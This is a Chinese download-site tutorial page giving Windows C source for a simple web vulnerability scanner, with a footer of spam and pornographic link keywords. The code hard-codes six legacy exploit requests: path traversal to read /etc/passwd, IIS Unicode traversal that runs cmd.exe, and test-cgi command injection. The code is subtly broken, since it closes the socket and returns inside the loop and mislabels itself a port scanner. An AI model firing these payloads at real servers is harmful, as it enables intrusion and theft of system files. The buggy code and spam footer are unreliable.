• <label id="pxtpz"><meter id="pxtpz"></meter></label>
      1. <span id="pxtpz"><optgroup id="pxtpz"></optgroup></span>

        當前位置:雨林木風下載站 > 技術開發教程 > 詳細頁面

        編寫漏洞掃描器

        編寫漏洞掃描器

        更新時間:2022-05-13 文章作者:未知 信息來源:網絡 閱讀次數:

        一、漏洞掃描器基本原理:  

        編寫漏洞掃描器探查遠程服務器上可能存在的具有安全隱患的文件是否存在,它的socket建立過程和上面的端口掃描器是相同的,所不同的是漏洞掃描器通常使用80端口,然后對這個端口發送一個GET文件的請求,服務器接收到請求會返回文件內容,如果文件不存在則返回一個錯誤提示,通過接收返回內容可以判斷文件是否存在。發送和接收數據需要使用函數send()和recv(),另外對流中存在的字符串進行判斷需要使用函數strstr(),這除了需要具備socket函數庫的知識以外,還需要一些有關string函數庫的知識。  

        二、簡單的漏洞掃描源代碼:  

        /********************************************/  
        /* 端口掃描器 源代碼 */  
        /* CgiScanner.cpp */  
        /********************************************/  

        #include <stdio.h>  
        #include <string.h>  
        #include <winsock.h>  

        int main(int argc,char *argv[])  
        {  
        if(argc!=2){  
        printf("Useage : scan [IP address]\n");  
        return(1);  
        }  

        struct sockaddr_in blah;  
        struct hostent *he;  
        WSADATA wsaData;  
        int i;  
        WORD wVersionRequested;  
        SOCKET sock;  

        char buff[1024];  
        char *ex[10];  
        ex[1]="GET /../../../../etc/passwd HTTP/1.0\n\n";  
        ex[2]="GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0\n\n";  
        ex[3]="GET /A.ida/%c1%00.ida HTTP/1.0\n\n";  
        ex[4]="GET /cgi-bin/pfdispaly.cgi?/../../../../etc/motd HTTP/1.0\n\n";  
        ex[5]="GET /cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd HTTP/1.0\n\n";  
        ex[6]="GET /cgi-bin/test-cgi?* HTTP/1.0\n\n";  
        char *fmsg="HTTP/1.1 200 OK";  

        wVersionRequested = MAKEWORD( 1, 1 );  
        if (WSAStartup(wVersionRequested , &wsaData)){  
        printf("Winsock Initialization failed.\n");  
        exit(1);  
        }  

        if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){  
        printf("Can not create socket.\n");  
        exit(1);  
        }  
        sock = socket(AF_INET,SOCK_STREAM,0);  
        blah.sin_family = AF_INET;  
        blah.sin_port = htons(80);  
        blah.sin_addr.s_addr= inet_addr(argv[1]);  

        if ((he=gethostbyname(argv[1]))!=NULL){  
        memcpy((char *)&blah.sin_addr.s_addr,he->h_addr,he->h_length);  
        }  
        else{  
        if((blah.sin_addr.s_addr=inet_addr(argv[1]))==-1){  
        WSACleanup();  
        exit(1);  
        }  
        }  

        for (i=1 ; i<7; i++) {
        if (connect(sock,(struct sockaddr*)&blah,sizeof(blah))==0){
        send(sock,ex[i],strlen(ex[i]),0);
        recv(sock,buff,sizeof(buff),0);
        if(strstr(buff,fmsg)!=NULL){
        printf("\nFound :%s\n", ex[i]);
        }
        }

        closesocket(sock);
        WSACleanup();
        return(1);
        }
        }

        這段代碼可以檢測六個漏洞,讀者可以根據自己的需要增加漏洞掃描的數量。程序實現的很簡潔,概括起來這段程序完成了一下四項工作:

        1、連接目標主機SERVER;
        2、向目標主機發送GET請求;
        3、接收目標返回數據;
        4、根據返回數據判斷文件是否存在。

        溫馨提示:喜歡本站的話,請收藏一下本站!

        本類教程下載

        系統下載排行

        主站蜘蛛池模板: 精品亚洲成在人线AV无码| 亚洲av午夜福利精品一区| 亚洲第一街区偷拍街拍| 免费看成人AA片无码视频羞羞网| 亚洲第一AV网站| 精品国产污污免费网站入口| 免费又黄又爽又猛的毛片 | 亚洲男人的天堂在线播放| 国产猛男猛女超爽免费视频| 国产精品亚洲片在线观看不卡| 国产又黄又爽又大的免费视频| 久久亚洲国产精品五月天婷| 中国黄色免费网站| 人人狠狠综合久久亚洲88| a级日本高清免费看| 亚洲AV福利天堂一区二区三| 99久热只有精品视频免费观看17| 亚洲国产成人手机在线电影bd| 久久久www成人免费毛片| 国产亚洲精品2021自在线| 亚洲伊人久久综合影院| 久久国产精品免费网站| 亚洲人成黄网在线观看| 国产又长又粗又爽免费视频| 九一在线完整视频免费观看| 亚洲第一AAAAA片| 在线精品免费视频| 久久er国产精品免费观看2| 亚洲mv国产精品mv日本mv| 国产午夜无码视频免费网站| 中文无码成人免费视频在线观看| 亚洲国产高清美女在线观看| 免费在线黄色网址| 精品久久久久成人码免费动漫| 天天综合亚洲色在线精品| 亚洲自偷自偷精品| 亚洲色婷婷综合开心网| 成年男女男精品免费视频网站| 黄色网址免费在线观看| 亚洲日韩涩涩成人午夜私人影院| 成人男女网18免费视频|